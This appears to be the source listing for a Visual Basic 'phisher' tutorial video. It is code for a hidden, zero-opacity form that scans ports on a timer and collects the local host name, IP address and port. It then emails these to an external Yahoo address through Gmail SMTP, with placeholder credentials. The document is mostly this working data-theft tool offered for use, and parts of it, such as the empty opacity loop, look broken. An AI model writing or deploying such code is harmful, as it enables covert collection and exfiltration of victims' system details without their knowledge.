VB Visual Basic my Phisher Tutorial.avi (Full HD).wmv

VB Visual Basic my Phisher Tutorial
code

Imports System.Net.Mail
Public Class Form1

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error Resume Next
AxWinsock1.Close()
TextBox1.Text = TextBox1.Text + 1
AxWinsock1.RemotePort = TextBox1.Text
AxWinsock1.Connect()
End Sub
Private Sub AxWinsock1_ConnectEvent(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AxWinsock1.ConnectEvent

TextBox5.Text = AxWinsock1.RemotePort & " This Port Open!"
TextBox2.Text = AxWinsock1.LocalHostName
TextBox3.Text = AxWinsock1.LocalIP
TextBox4.Text = AxWinsock1.LocalPort
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim mail As New MailMessage()

Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("@gmail.com", "password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("@yahoo.com")
mail.From = New MailAddress("@gmail.com")
mail.Subject = TextBox2.Text
mail.Body = TextBox3.Text + TextBox4.Text + TextBox5.Text
SmtpServer.Send(mail)
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim I = 0.0
Me.Opacity = 0.0
For I = 0.0 To 100.0 Step 0.001

Next
Me.Opacity = I
Application.DoEvents()
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Start()
Dim mail As New MailMessage()

Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("@gmail.com", "password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("@yahoo.com")
mail.From = New MailAddress("@gmail.com")
mail.Subject = TextBox2.Text
mail.Body = TextBox3.Text + TextBox4.Text + TextBox5.Text
SmtpServer.Send(mail)
End Sub
End Class